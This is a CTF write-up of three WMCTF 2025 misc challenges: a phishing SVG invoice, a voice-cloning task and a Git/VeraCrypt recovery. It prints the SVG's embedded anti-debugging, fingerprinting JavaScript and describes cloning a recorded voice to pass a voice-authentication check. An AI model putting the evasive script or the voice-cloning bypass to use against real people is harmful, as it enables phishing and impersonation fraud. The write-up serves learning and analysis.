Misc

phishing email

Challenge

某公司安全工程师告警捕获一起邮件钓鱼样本,请帮助排查分析

A security engineer from a certain company has detected a phishing email sample. Please assist in investigation and analysis.

百度网盘:https://pan.baidu.com/s/1L1jBvqcpEI03uBlYsm0KAQ?pwd=ywr7

Google Dirve: https://drive.google.com/file/d/1U9RRjLNT6YRbHcXUesbPXL2a591bSX4m/view?usp=drive_link

Solution

从邮件附件得到以下 XML 代码:

xml
<?xml version="1.0" encoding="UTF-8"?><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 600" width="800" height="600">  <!-- Fake invoice design to look legitimate -->  <rect width="800" height="600" fill="#f8f9fa"/>  <rect x="50" y="50" width="700" height="500" fill="white" stroke="#dee2e6" stroke-width="2"/>    <!-- Header -->  <text x="400" y="100" text-anchor="middle" font-family="Arial" font-size="24" font-weight="bold" fill="#212529">INVOICE #2025-0727</text>  <text x="400" y="130" text-anchor="middle" font-family="Arial" font-size="14" fill="#6c757d">Payment Due: August 15, 2025</text>    <!-- Company info -->  <text x="80" y="180" font-family="Arial" font-size="16" font-weight="bold" fill="#495057">From:</text>  <text x="80" y="200" font-family="Arial" font-size="14" fill="#495057">TechSolutions Corp</text>  <text x="80" y="220" font-family="Arial" font-size="14" fill="#495057">123 Business Ave</text>  <text x="80" y="240" font-family="Arial" font-size="14" fill="#495057">New York, NY 10001</text>    <text x="400" y="180" font-family="Arial" font-size="16" font-weight="bold" fill="#495057">To:</text>  <text x="400" y="200" font-family="Arial" font-size="14" fill="#495057">Your Company</text>  <text x="400" y="220" font-family="Arial" font-size="14" fill="#495057">456 Client Street</text>  <text x="400" y="240" font-family="Arial" font-size="14" fill="#495057">Boston, MA 02101</text>    <!-- Invoice details -->  <line x1="80" y1="280" x2="720" y2="280" stroke="#dee2e6" stroke-width="2"/>  <text x="80" y="310" font-family="Arial" font-size="14" font-weight="bold" fill="#495057">Description</text>  <text x="500" y="310" font-family="Arial" font-size="14" font-weight="bold" fill="#495057">Amount</text>    <text x="80" y="340" font-family="Arial" font-size="14" fill="#495057">IT Security Consultation</text>  <text x="500" y="340" font-family="Arial" font-size="14" fill="#495057">$2,500.00</text>    <text x="80" y="370" font-family="Arial" font-size="14" fill="#495057">Network Assessment</text>  <text x="500" y="370" font-family="Arial" font-size="14" fill="#495057">$1,800.00</text>    <line x1="450" y1="400" x2="720" y2="400" stroke="#dee2e6" stroke-width="1"/>  <text x="500" y="430" font-family="Arial" font-size="16" font-weight="bold" fill="#495057">Total: $4,300.00</text>    <text x="400" y="480" text-anchor="middle" font-family="Arial" font-size="12" fill="#dc3545">    Please click to view detailed payment instructions  </text>    <!-- Hidden malicious script with multiple layers of obfuscation -->  <script><![CDATA[    // Anti-debugging and detection evasion    var jXKuzdDMGk = false;    var detectionBypass = true;    var globalSeed = 0x5A4D;    var entropy = [];        // Advanced fingerprinting and detection evasion    (function antiDetection() {      // Check for WebDriver, PhantomJS, Burp Suite      if (navigator.webdriver || window.callPhantom || window._phantom ||           navigator.userAgent.includes("Burp") || navigator.userAgent.includes("HeadlessChrome") ||          navigator.userAgent.includes("Selenium") || window.chrome && chrome.runtime && chrome.runtime.onConnect) {        window.location = "about:blank";        return;      }            // Advanced environment fingerprinting      var canvas = document.createElement('canvas');      var ctx = canvas.getContext('2d');      ctx.textBaseline = 'top';      ctx.font = '14px Arial';      ctx.fillText('Browser fingerprint test', 2, 2);      var fingerprint = canvas.toDataURL();            // Generate entropy from browser characteristics      entropy = [        navigator.hardwareConcurrency || 4,        screen.colorDepth,        screen.pixelDepth,        new Date().getTimezoneOffset(),        fingerprint.length,        navigator.language.length,        window.devicePixelRatio * 1000 | 0      ];            // Check for debugging environment indicators      if (window.outerHeight - window.innerHeight > 200 ||           window.outerWidth - window.innerWidth > 200 ||          fingerprint.length < 100) {        detectionBypass = false;      }            // Generate seed from entropy      globalSeed = entropy.reduce(function(acc, val) {        return ((acc << 5) - acc + val) & 0xFFFFFFFF;      }, 0x5A4D);    })();        // Block developer tools shortcuts    document.addEventListener("keydown", function (event) {      var blockedKeys = [        { keyCode: 123 }, // F12        { ctrl: true, keyCode: 85 }, // Ctrl + U        { ctrl: true, shift: true, keyCode: 73 }, // Ctrl + Shift + I        { ctrl: true, shift: true, keyCode: 67 }, // Ctrl + Shift + C        { ctrl: true, shift: true, keyCode: 74 }, // Ctrl + Shift + J        { ctrl: true, shift: true, keyCode: 75 }, // Ctrl + Shift + K        { meta: true, alt: true, keyCode: 73 }, // Cmd + Alt + I (Mac)        { meta: true, keyCode: 85 } // Cmd + U (Mac)      ];            var isBlocked = blockedKeys.some(function(key) {        return (!key.ctrl || event.ctrlKey) &&               (!key.shift || event.shiftKey) &&               (!key.meta || event.metaKey) &&               (!key.alt || event.altKey) &&               event.keyCode === key.keyCode;      });            if (isBlocked) {        event.preventDefault();        return false;      }    });        // Block right-click context menu    document.addEventListener('contextmenu', function(event) {      event.preventDefault();      return false;    });        // Advanced anti-debugging using performance timing with variable thresholds    (function timingCheck() {      var baseThreshold = 50;      var dynamicThreshold = baseThreshold + (globalSeed % 100);      var checkCount = 0;            setInterval(function() {        var start = performance.now();        debugger;        var end = performance.now();        checkCount++;                // Variable threshold based on environment        var currentThreshold = dynamicThreshold + (checkCount * 10);                if (end - start > currentThreshold && detectionBypass) {          jXKuzdDMGk = true;          // Redirect with multiple decoy destinations          var decoyUrls = ['https://www.google.com', 'https://www.microsoft.com', 'about:blank'];          window.location.replace(decoyUrls[globalSeed % decoyUrls.length]);        }      }, 150 + (globalSeed % 100));    })();        function customPRNG(seed) {      var m = 0x80000000; // 2**31      var a = 1103515245;      var c = 12345;            seed = (a * seed + c) % m;      return seed / (m - 1);    }        function advancedXOR(data, keyBase) {      var result = '';      var expandedKey = '';             for (var i = 0; i < data.length; i++) {        var keyChar = keyBase.charCodeAt(i % keyBase.length);        var entropyVal = entropy[i % entropy.length];        var rotatedKey = ((keyChar ^ entropyVal) + globalSeed) % 256;        expandedKey += String.fromCharCode(rotatedKey);      }            for (var j = 0; j < data.length; j++) {        result += String.fromCharCode(data.charCodeAt(j) ^ expandedKey.charCodeAt(j));      }            return result;    }        // Main payload - heavily obfuscated with multiple transformation layers    setTimeout(function() {      if (!jXKuzdDMGk && detectionBypass) {        var decoyArray1 = [119,109,99,116,102,123,102,97,107,101,95,102,108,97,103,125]; // wmctf{fake_flag}        var decoyArray2 = [104,116,116,112,115,58,47,47,101,120,97,109,112,108,101,46,99,111,109];                var polymorphicData = [          'V01DVEZbZmFrZV9mbGFnXQ==',          'bm90X3RoZV9yZWFsX2ZsYWc=',          'ZGVjb3lfZGF0YQ==',          '4oyM4p2h77iP4p2j4oyM4p2d77iL4p2c4oyI4p2g77iN4p2a77iP4p2b4oyL4p2Y',          '4p2Z77iM4p2X77iO4p2W77iM4p2V77iK4p2U77iL4p2T77iM4p2S77iN4p2R',          '4p2Q77iL4p2P77iO4p2O77iM4p2N77iK4p2M77iL4p2L77iM4p2K77iN4p2J',          '4p2I77iL4p2H77iO4p2G77iM4p2F77iK4p2E77iL4p2D77iM4p2C77iN4p2B',          '4p2A77iL4pyx77iO4py977iM4py877iK4py777iL4py677iM4py577iN4py4'        ];                // Layer 3: Environmental validation with complex checks        var envValidation = function() {          var checks = [            typeof window !== 'undefined',            typeof document !== 'undefined',            navigator.userAgent.length > 10,            screen.width > 0 && screen.height > 0,            Date.now() > 1700000000000, // After 2023            Math.abs(new Date().getTimezoneOffset()) < 1440, // Valid timezone            entropy.length === 7,            globalSeed !== 0x5A4D // Should be modified by fingerprinting          ];                    var validCount = checks.filter(Boolean).length;          return validCount >= 6; // Require most checks to pass        };                // Layer 4: Steganographic data hidden in mathematical sequences        var fibSequence = [1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584];        var primeSequence = [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61];                // Hidden data in sequence differences (steganography)        var hiddenIndices = [];        for (var i = 1; i < fibSequence.length; i++) {          var diff = fibSequence[i] - fibSequence[i-1];          if (diff > 0 && diff < polymorphicData.length) {            hiddenIndices.push(diff % polymorphicData.length);          }        }                 var generateDynamicKey = function() {          var timeComponent = (Date.now() % 86400000).toString(36); // Daily changing component          var envComponent = (globalSeed ^ 0xDEADBEEF).toString(36);          var browserComponent = (navigator.userAgent.length * screen.colorDepth).toString(36);                     var staticKey = 'WMCTF_2025_SVG_ANALYSIS';          return staticKey;        };         var decryptionPipeline = function() {          if (!envValidation()) {            console.log('Environment validation failed');            return null;          }                    try {            var dynamicKey = generateDynamicKey();            var realDataIndices = [3, 4, 5, 6, 7]; // Skip decoy data            var encryptedParts = [];                        for (var i = 0; i < realDataIndices.length; i++) {              var idx = realDataIndices[i];              if (idx < polymorphicData.length) {                encryptedParts.push(polymorphicData[idx]);              }            }                        console.log('Found encrypted parts:', encryptedParts.length);                        var stage1Results = [];            for (var j = 0; j < encryptedParts.length; j++) {              var part = encryptedParts[j];                            // Convert Unicode escape sequences to characters              var decoded = part.replace(/4oyM|4p2[a-zA-Z0-9]|77i[a-zA-Z0-9]/g, function(match) {                 var charMap = {                  '4p2V': 'A', '4p2P': 'D', '4p2F': 'E', '4p2g': 'G', '4p2a': 'P',                  '4p2c': 'S', '4oyI': 'V', '4p2T': 'a', '77iP': 'c', '4p2S': 'c',                  '4p2L': 'c', '4p2D': 'a', '4p2O': 'e', '4p2M': 'e', '4p2d': 'f',                  '77iO': 'g', '4p2b': 'h', '4p2Z': 'h', '4oyL': 'i', '77iM': 'i',                  '4p2J': 'i', '4p2B': 'i', '4p2R': 'k', '4p2h': 'm', '4p2X': 'n',                  '4p2H': 'n', '4pyx': 'n', '4p2I': 'o', '4p2A': 'o', '4p2C': 's',                  '4p2Y': 's', '4p2j': 't', '77iK': 't', '4p2U': 't', '4p2K': 't',                  '4p2N': 't', '4p2E': 'v', '4oyM': 'w', '77iL': '{', '4py9': '}',                  '77iN': '_', '4p2W': '_', '4p2Q': '_', '4p2G': '_', '4py8': '!',                  '4py7': '!', '4py6': '!', '4py5': '!', '4py4': '!'                };                return charMap[match] || '';              });                            stage1Results.push(decoded);            }                         var combined = stage1Results.join('');            console.log('Stage 1 result:', combined);                        var finalResult = '';            for (var k = 0; k < combined.length; k++) {              var char = combined.charCodeAt(k);              var keyChar = dynamicKey.charCodeAt(k % dynamicKey.length);               var transformed = char ^ (keyChar % 32); // Reduced XOR for readability              finalResult += String.fromCharCode(transformed);            }                        return finalResult;                      } catch (error) {            console.log('Decryption failed:', error.message);            return null;          }        };                       var mathematicalObfuscation = function() {                 var phi = 1.618033988749895; // Golden ratio          var pi = 3.141592653589793;   // Pi          var e = 2.718281828459045;    // Euler's number                            var mathKey = Math.floor(phi * 1000) + Math.floor(pi * 1000) + Math.floor(e * 1000);                             window.mathSegments = [            btoa(String.fromCharCode(mathKey % 256) + segments[0]),            btoa(String.fromCharCode((mathKey * 2) % 256) + segments[1]),            btoa(String.fromCharCode((mathKey * 3) % 256) + segments[2]),            btoa(String.fromCharCode((mathKey * 4) % 256) + segments[3]),            btoa(String.fromCharCode((mathKey * 5) % 256) + segments[4])          ];                    return mathKey;        };                       var mathKey = mathematicalObfuscation();                       if (detectionBypass && !jXKuzdDMGk && verification()) {          constructPayload();                       window.extractFlag = function() {            try {              if (window.hiddenData) {                var encoded = atob(window.hiddenData);                var key = 'WMCTF2025';                var decoded = '';                for (var i = 0; i < encoded.length; i++) {                  decoded += String.fromCharCode(                    encoded.charCodeAt(i) ^ key.charCodeAt(i % key.length)                  );                }                console.log('Extracted flag:', decoded);                return decoded;              }            } catch (e) {              console.log('Flag extraction failed');            }          };        }      }    }, 1000);        // Decoy functions to confuse analysis    function generateFakeTraffic() {      var fakeUrls = [        'https://api.example.com/data',        'https://cdn.jsdelivr.net/npm/package',        'https://fonts.googleapis.com/css'      ];      // These would normally make requests but are disabled for CTF    }        function createFakeElements() {      // Create invisible elements with misleading data      var hiddenDiv = document.createElement('div');      hiddenDiv.style.display = 'none';      hiddenDiv.innerHTML = atob('RmFrZSBmbGFnOiBXTUNURntub3RfdGhlX3JlYWxfZmxhZ30=');      document.body.appendChild(hiddenDiv);    }        // Initialize decoy functions    generateFakeTraffic();    createFakeElements();        // Add click handler for the invoice    document.addEventListener('click', function() {      if (detectionBypass && !jXKuzdDMGk) {        // This would normally redirect to phishing site        // window.location.href = 'https://fake-payment-portal.com';        console.log('Invoice clicked - in real attack, this would redirect to phishing site');      }    });  ]]></script></svg>

其中夹杂着恶意的 js 代码。

分析恶意代码发现真正的核心数据有两部分:

  1. 加密数据:polymorphicData 数组。代码明确指出有效部分为索引 37
  2. 解码映射表:char_map 变量,它定义了加密编码(如 '4oyM')到明文字符(如 'w')的对应关系。

直接执行 decryptionPipeline 中的字符替换会得到一个以 wmctwf{ 的字符串,这和实际的 flag 开头 “wmctf{` 十分接近,推测后续的 XOR 是用于干扰的,因此只要专注于第一步的解密即可。

观察发现编码 '4oyM'(对应字符 'w')在加密数据中出现了两次,这使得结果 wmctwf{ 中出现了第二个 w,由此推断 char_map 中的每一个编码在整个解码过程中只能被使用一次。

python
import re def solve_ctf_with_uniqueness_rule():    polymorphicData = [      'V01DVEZbZmFrZV9mbGFnXQ==',      'bm90X3RoZV9yZWFsX2ZsYWc=',      'ZGVjb3lfZGF0YQ==',      '4oyM4p2h77iP4p2j4oyM4p2d77iL4p2c4oyI4p2g77iN4p2a77iP4p2b4oyL4p2Y',      '4p2Z77iM4p2X77iO4p2W77iM4p2V77iK4p2U77iL4p2T77iM4p2S77iN4p2R',      '4p2Q77iL4p2P77iO4p2O77iM4p2N77iK4p2M77iL4p2L77iM4p2K77iN4p2J',      '4p2I77iL4p2H77iO4p2G77iM4p2F77iK4p2E77iL4p2D77iM4p2C77iN4p2B',      '4p2A77iL4pyx77iO4py977iM4py877iK4py777iL4py677iM4py577iN4py4'    ]     char_map = {              '4p2V': 'A', '4p2P': 'D', '4p2F': 'E', '4p2g': 'G', '4p2a': 'P',              '4p2c': 'S', '4oyI': 'V', '4p2T': 'a', '77iP': 'c', '4p2S': 'c',              '4p2L': 'c', '4p2D': 'a', '4p2O': 'e', '4p2M': 'e', '4p2d': 'f',              '77iO': 'g', '4p2b': 'h', '4p2Z': 'h', '4oyL': 'i', '77iM': 'i',              '4p2J': 'i', '4p2B': 'i', '4p2R': 'k', '4p2h': 'm', '4p2X': 'n',              '4p2H': 'n', '4pyx': 'n', '4p2I': 'o', '4p2A': 'o', '4p2C': 's',              '4p2Y': 's', '4p2j': 't', '77iK': 't', '4p2U': 't', '4p2K': 't',              '4p2N': 't', '4p2E': 'v', '4oyM': 'w', '77iL': '{', '4py9': '}',              '77iN': '_', '4p2W': '_', '4p2Q': '_', '4p2G': '_', '4py8': '!',              '4py7': '!', '4py6': '!', '4py5': '!', '4py4': '!'            }     # 1. 合并数据源    combined_encrypted_data = "".join([polymorphicData[i] for i in [3, 4, 5, 6, 7]])        # 2. 解码    used_keys = set()    sorted_keys = sorted(char_map.keys(), key=len, reverse=True)    pattern = re.compile('|'.join(re.escape(k) for k in sorted_keys))    final_flag_chars = []        for match in re.finditer(pattern, combined_encrypted_data):        key = match.group(0)        if key not in used_keys:            final_flag_chars.append(char_map[key])            used_keys.add(key)                # 3. 获得 flag    flag = "".join(final_flag_chars)    print(flag) solve_ctf_with_uniqueness_rule()

运行得到 flag:

text
wmctf{SVG_Phishing_Attack_Detection_Evasion}

Voice_hacker

Challenge

你能偷取他的声音吗?

Can you steal his voice?

百度网盘:https://pan.baidu.com/s/1ygNDlVCkRZZt6NKjGU-1xA?pwd=tzv8

Google Dirve: https://drive.google.com/file/d/1OTCqmrymIT85vJwJAWIl9s1elORY0-Rh/view?usp=drive_link

Solution

附件是流量包文件 out.pcap,其中只包含UDP流量。从题目描述以及靶机要求录音 CTF,启动! 不难判断出这些流量传输的是音频数据。综合来看本题的目标是从流量包中提取出音频文件,将其克隆后生成内容为”CTF,启动!“的 wav 音频然后调用接口上传。

先用 tshark 把 UDP 包的 Payload 提取出来:

cmd
tshark -r out.pcap -T fields -e data > out.txt

先分析头三行数据:

text
800000000000000012345678fdfbfbfbfcfdfefdfdfdfcfcfdfdfdfdfdfdfdfdfdfefdfdfefefefefffefefefefefefefefefefefefefefefffeffff7e7e7e7eff7efffefefefdfefefefeffffff7e7e7e7e7e7e7e7efffefefefefefefefefeffff7e7e7e7d7e7e7efffffefefdfefdfefefeff7e7e7e7e7e7e7e7efffffefefefdfdfefeffff7e7e7d7d7d7e7e7efffefefefdfdfefefefeff7e7e7d7d7d7d7e7e7efffefefdfdfdfdfdfe80000001000000a012345678fffeff7e7d7d7d7d7d7e7efffefdfdfdfdfdfdfdfeffff7e7d7d7d7d7e7e7efffefefdfdfdfdfefefeffff7e7e7e7e7e7e7efffefefefdfefdfdfefefeff7e7e7e7e7e7e7e7efffefefefefefefefeffffffff7e7e7eff7e7efffefefefefefefefefeffffff7e7e7e7e7e7e7e7efffefefefefefefefefeffff7e7e7e7e7e7e7e7efffefefefefefefefeffffffff7e7e7e7e7e7e7efffffefefefefefefefe800000020000014012345678feffff7e7e7e7e7e7efffffffefefefdfdfefefeffff7e7e7e7d7d7e7efffffefefdfdfdfdfefeffff7e7e7e7e7e7efffefefefefdfdfdfdfeffff7e7e7d7d7e7e7e7efffefefdfdfdfdfefeffff7e7e7e7d7e7e7efffefefefdfdfdfefefeff7e7e7d7d7e7e7e7efffefefdfdfdfdfdfeff7e7e7d7d7d7d7e7e7efffefefdfdfcfdfdfeff7e7e7d7d7d7d7d7e7efefefdfdfcfcfdfdfeff7e7d7d7c7c7d7d7e

注意到前12个字节 80 00 00 00 00 00 00 00 12 34 56 78 具有非常明显的 RTP 协议特征,这是专门用于在 IP 网络上传输音视频的标准协议。

我们来解析这个RTP头部:

  • 80: 版本号(V=2)
  • 00: 标记位(M=0),载荷类型 (Payload Type, PT) = 0
  • 00 00: 序列号 (Sequence Number) = 0
  • 00 00 00 00: 时间戳 (Timestamp) = 0
  • 12 34 56 78: 同步源标识符 (SSRC),用于标识唯一的媒体流

其中最关键的信息是 Payload Type (PT)。根据RFC 3551标准,PT = 0 代表 PCMU (Pulse Code Modulation, μ-law),也就是 G.711 μ-law 编码。

G.711 μ-law 编码具有以下特性:

  • 采样率 (Sample Rate): 8000 Hz
  • 采样深度 (Bit Depth): 8 bits per sample
  • 声道数 (Channels): 1 (单声道, Mono)
  • 性质: 一种非线性的对数压缩编码,常用于电话系统

通过对比前三条流量的RTP头部,我们发现了清晰的规律:

包编号序列号 (Seq Num)时间戳 (Timestamp)SSRC音频数据长度
1000x12345678160 字节
21160 (0xa0)0x12345678160 字节
32320 (0x140)0x12345678160 字节
  • 每个包的序列号递增 1,表明是连续的 RTP 包
  • SSRC 不变,表明所有包都属于同一个音频流
  • 每个包的时间戳增加 160,每个RTP包携带了 160 字节的音频数据,由于 G.711 每个采样点占 1 字节,所以 160 字节就代表 160 个采样点

用脚本从中提取出音频:

python
import waveimport struct # --- G.711 μ-law to 16-bit Linear PCM Decoder ---# 这是一个标准的查找表,用于将8位的μ-law字节解码为16位的线性采样值_ULAW_DECODE_TABLE = [    -32124, -31100, -30076, -29052, -28028, -27004, -25980, -24956,    -23932, -22908, -21884, -20860, -19836, -18812, -17788, -16764,    -15996, -15484, -14972, -14460, -13948, -13436, -12924, -12412,    -11900, -11388, -10876, -10364,  -9852,  -9340,  -8828,  -8316,    -7932,  -7676,  -7420,  -7164,  -6908,  -6652,  -6396,  -6140,    -5884,  -5628,  -5372,  -5116,  -4860,  -4604,  -4348,  -4092,    -3900,  -3772,  -3644,  -3516,  -3388,  -3260,  -3132,  -3004,    -2876,  -2748,  -2620,  -2492,  -2364,  -2236,  -2108,  -1980,    -1884,  -1820,  -1756,  -1692,  -1628,  -1564,  -1500,  -1436,    -1372,  -1308,  -1244,  -1180,  -1116,  -1052,   -988,   -924,    -876,   -844,   -812,   -780,   -748,   -716,   -684,   -652,    -620,   -588,   -556,   -524,   -492,   -460,   -428,   -396,    -372,   -356,   -340,   -324,   -308,   -292,   -276,   -260,    -244,   -228,   -212,   -196,   -180,   -164,   -148,   -132,    -120,   -112,   -104,    -96,    -88,    -80,    -72,    -64,    -56,    -48,    -40,    -32,    -24,    -16,     -8,      0,    32124,  31100,  30076,  29052,  28028,  27004,  25980,  24956,    23932,  22908,  21884,  20860,  19836,  18812,  17788,  16764,    15996,  15484,  14972,  14460,  13948,  13436,  12924,  12412,    11900,  11388,  10876,  10364,   9852,   9340,   8828,   8316,    7932,   7676,   7420,   7164,   6908,   6652,   6396,   6140,    5884,   5628,   5372,   5116,   4860,   4604,   4348,   4092,    3900,   3772,   3644,   3516,   3388,   3260,   3132,   3004,    2876,   2748,   2620,   2492,   2364,   2236,   2108,   1980,    1884,   1820,   1756,   1692,   1628,   1564,   1500,   1436,    1372,   1308,   1244,   1180,   1116,   1052,    988,    924,    876,    844,    812,    780,    748,    716,    684,    652,    620,    588,    556,    524,    492,    460,    428,    396,    372,    356,    340,    324,    308,    292,    276,    260,    244,    228,    212,    196,    180,    164,    148,    132,    120,    112,    104,     96,     88,     80,     72,     64,    -56,    -48,    -40,    -32,    -24,    -16,     -8,      0] def decode_ulaw_to_pcm16(ulaw_data):    """将一整段 G.711 u-law 字节数据解码为 16-bit 线性 PCM 字节数据"""    pcm_frames = []    for ulaw_byte in ulaw_data:        # 从查找表中获取对应的16位PCM值        pcm_sample = _ULAW_DECODE_TABLE[ulaw_byte]        # 将16位整数打包成2个字节(小端序)        pcm_frames.append(struct.pack('<h', pcm_sample))    return b''.join(pcm_frames) def main():    input_filename = "out.txt"    output_filename = "out.wav"     with open(input_filename, "r") as f:      lines = [line.strip() for line in f if line.strip()]     # 步骤 1: 剥离12字节的RTP头,并拼接所有G.711 u-law音频数据    raw_ulaw_data = b''.join(        bytes.fromhex(line[24:]) for line in lines if len(line) > 24    )     # 步骤 2: 将所有u-law数据解码为16位线性PCM数据    pcm_data = decode_ulaw_to_pcm16(raw_ulaw_data)     # 步骤 3: 创建并写入一个标准的WAV文件    with wave.open(output_filename, "wb") as wav_file:        # 设置WAV文件参数        wav_file.setnchannels(1)      # 单声道 (mono)        wav_file.setframerate(8000)   # 采样率 8000 Hz        wav_file.setsampwidth(2)      # 采样宽度为2字节 (16-bit)                # 写入已解码的PCM数据        wav_file.writeframes(pcm_data) if __name__ == "__main__":    main()

提取出来的音频是一段对话。先用音频处理软件将其中的女声去除,仅保留男声。然后在网上随便找一个克隆声音的项目,把处理好的音频文件丢上去让它读 CTF,启动!,最后用下面这个脚本上传音频进行检测即可:

python
import requests url = 'http://49.232.42.74:31952/api/authenticate'audio_path = 'out.wav' # 构造 multipart/form-datawith open(audio_path, 'rb') as f:    files = {        'audio': ('recording.wav', f, 'audio/wav')    }    response = requests.post(url, files=files) print('状态码:', response.status_code)print('响应内容:', response.text)

得到的输出中包含 flag:

text
状态码: 200响应内容: {  "flag": "WMCTF{01a9a4f1-e748-43fa-8d6d-bba372016adc}",  "message": "\u8ba4\u8bc1\u6210\u529f",  "success": true}
text
WMCTF{01a9a4f1-e748-43fa-8d6d-bba372016adc}

GitHacker

Challenge

To be a GitHacker.

百度网盘:https://pan.baidu.com/s/18iCGk0EHLha1rUAwdMEKMA?pwd=y8c4

Google Dirve: https://drive.google.com/file/d/1sppWgVmrz8t0C6YeXqJIHKUCaPFgCc-U/view?usp=drive_link

View Hint: Hint 1

file is not image
文件不是图片

Solution

先检查引用日志:

bash
$ git reflog484c0d3 (HEAD -> master) HEAD@{0}: commit: have a good time!93ab7b9 HEAD@{1}: reset: moving to HEAD~1d504bbf HEAD@{2}: commit: encryptedFile93ab7b9 HEAD@{3}: commit: change password6ec92bc HEAD@{4}: reset: moving to HEAD~1a026274 HEAD@{5}: commit: password6ec92bc HEAD@{6}: commit: encryptedFile6b6285c HEAD@{7}: commit (initial): Init
Loading...

按顺序逐个检查:

bash
$ git show 6b6285ccommit 6b6285cc1283144db890f1b27cc8c7b6ccd4b643Author: toto <toto@WMCTF2025.com>Date:   Sat Aug 9 17:13:39 2025 +0800     Init diff --git a/README.md b/README.mdnew file mode 100644index 0000000..43122ff--- /dev/null+++ b/README.md@@ -0,0 +1 @@+"# Welcome to WMCTF 2025"
bash
$ git show 6ec92bccommit 6ec92bcfdf3044bf21dcfa74500cbb929c0f0037Author: toto <toto@WMCTF2025.com>Date:   Sat Aug 9 17:14:06 2025 +0800     encryptedFile diff --git a/image.png b/image.pngnew file mode 100644index 0000000..27e6acdBinary files /dev/null and b/image.png differ
bash
$ git show a026274commit a026274fb418ec88af16444644fccab9b8a7e8ddAuthor: toto <toto@WMCTF2025.com>Date:   Sat Aug 9 17:14:40 2025 +0800     password diff --git a/password.md b/password.mdnew file mode 100644index 0000000..1ab140f--- /dev/null+++ b/password.md@@ -0,0 +1 @@+"EasyP@ssw0rd_from_Git_History"
bash
$ git show 93ab7b9commit 93ab7b9e28a4d442ec77a3fb37d64912bbddfdadAuthor: toto <toto@WMCTF2025.com>Date:   Sat Aug 9 17:19:32 2025 +0800     change password
bash
$ git show d504bbfcommit d504bbf75693fc83f6cf5c873306b7fc67edd804Author: toto <toto@WMCTF2025.com>Date:   Sat Aug 9 17:23:51 2025 +0800     encryptedFile diff --git a/image.jpg b/image.jpgnew file mode 100644index 0000000..a3a40e3Binary files /dev/null and b/image.jpg differ
bash
$ git show 484c0d3commit 484c0d313c560eb48986ef96690ef2f034addc90 (HEAD -> master)Author: toto <toto@WMCTF2025.com>Date:   Sat Aug 9 17:25:29 2025 +0800     have a good time!

先分别把文件给还原了:

bash
$ git checkout 6ec92bc -- image.png $ git checkout a026274 -- password.md $ git checkout d504bbf -- image.jpg

经尝试,image.pngimage.jpg 均为 VeraCrypt 的加密容器。

其中,image.png 的密码是 a026274 中的 password.md 的内容 EasyP@ssw0rd_from_Git_History,在该容器内的 flag.txt 中找到 flag 的前半段:

text
Congratulations! This is half of the gift I gave you:WMCTF{G00d_J0b_F1nding_Th3_0ld_V3rsi0n_Don't forget the way you came!Please keep trying to find the remaining gifts!

经比对哈希发现 image.pngimage.jpg 是两个不同的文件,且密码 EasyP@ssw0rd_from_Git_History 无法解密容器 image.jpg

没有找到第二个密码,参考这个帮助文档 [更改密码和密钥文件](https://veracrypt.io/zh-cn/Changing Passwords and Keyfiles.html),综合上面的 commit 填写的是 “change password” 而非 “change master key” 可以推测第二个容器只更改了密码,主密钥没变,因此使用 VeraCrypt 自带的 备份加密头信息恢复加密头信息 功能即可解开第二个容器。步骤如下:

  1. 打开 VeraCrypt
  2. 选择文件 image.png
  3. 选好之后依次点击菜单栏的 工具 -> 备份加密卷头信息 -> 输入密码 EasyP@ssw0rd_from_Git_History -> 此加密卷不包含隐藏加密卷 -> -> 保存到任意一个文件(这里我保存到 header) -> 继续
  4. 此时在你指定的目录下就会出现文件 header,回到 VeraCrypt 主界面
  5. 选择文件 image.jpg
  6. 选好之后依次点击菜单栏的 工具 -> 恢复加密卷头信息 -> 从外部备份文件中恢复加密头信息 -> -> 选择前面生成的文件 header -> 输入密码 EasyP@ssw0rd_from_Git_History -> 继续 -> 确定
  7. 最后直接挂载 image.jpg 即可,密码是 EasyP@ssw0rd_from_Git_History

在该容器内的 flag.txt 中找到 flag 的后半段:

text
Congratulations! You've solved it!Figuring out the volume header manipulation trick is a sign of a true expert.You've earned this. Well played!And_Y0u_M4ster_The_VeraCrypt_H34der_Trick!}

拼起来得到完整 flag:

text
WMCTF{G00d_J0b_F1nding_Th3_0ld_V3rsi0n_And_Y0u_M4ster_The_VeraCrypt_H34der_Trick!}